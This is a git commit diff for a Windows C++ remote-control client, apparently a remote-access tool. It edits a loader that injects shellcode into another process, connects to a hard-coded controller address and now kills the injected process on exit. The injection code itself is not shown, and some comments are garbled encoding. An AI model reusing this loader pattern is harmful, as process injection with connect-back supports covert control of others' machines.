Normally exit TestRun will kill injected program

This commit is contained in:
yuanyuanxiang
2025-05-09 02:17:14 +08:00
parent 45e06c7c29
commit a21706f350
2 changed files with 14 additions and 9 deletions

View File

@@ -8,9 +8,6 @@ EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
ProjectSection(ProjectDependencies) = postProject
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
EndProjectSection
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject EndProject

View File

@@ -1,12 +1,9 @@
#include <stdio.h>
#include <iostream>
#include <corecrt_io.h>
#include "common/commands.h"
#include "StdAfx.h" #include "StdAfx.h"
#include "MemoryModule.h" #include "MemoryModule.h"
#include "ShellcodeInj.h" #include "ShellcodeInj.h"
#include <WS2tcpip.h> #include <WS2tcpip.h>
#include <common/commands.h>
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
@@ -29,6 +26,8 @@ IsExit bExit = NULL;
BOOL status = 0; BOOL status = 0;
HANDLE hEvent = NULL;
#ifdef _DEBUG #ifdef _DEBUG
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC }; CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
#else #else
@@ -94,6 +93,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
if (CtrlType == CTRL_CLOSE_EVENT) if (CtrlType == CTRL_CLOSE_EVENT)
{ {
status = 1; status = 1;
if (hEvent) SetEvent(hEvent);
if(stop) stop(); if(stop) stop();
while(1==status) while(1==status)
Sleep(20); Sleep(20);
@@ -282,20 +282,28 @@ int main(int argc, const char *argv[])
// If failed then run memory DLL // If failed then run memory DLL
ShellcodeInj inj; ShellcodeInj inj;
int pid = 0; int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do { do {
if (sizeof(void*) == 4) // Shell code is 64bit if (sizeof(void*) == 4) // Shell code is 64bit
break; break;
if (!(pid = inj.InjectProcess(nullptr))) { if (!(pid = inj.InjectProcess(nullptr))) {
break; break;
} }
HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid); HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) { if (hProcess == NULL) {
break; break;
} }
Mprintf("Inject process [%d] succeed.\n", pid); Mprintf("Inject process [%d] succeed.\n", pid);
DWORD waitResult = WaitForSingleObject(hProcess, INFINITE); HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
TerminateProcess(hProcess, -1);
CloseHandle(hEvent);
}
CloseHandle(hProcess); CloseHandle(hProcess);
Mprintf("Process [%d] is finished.\n", pid); Mprintf("Process [%d] is finished.\n", pid);
if (status == 1)
return -1;
} while (pid); } while (pid);
} }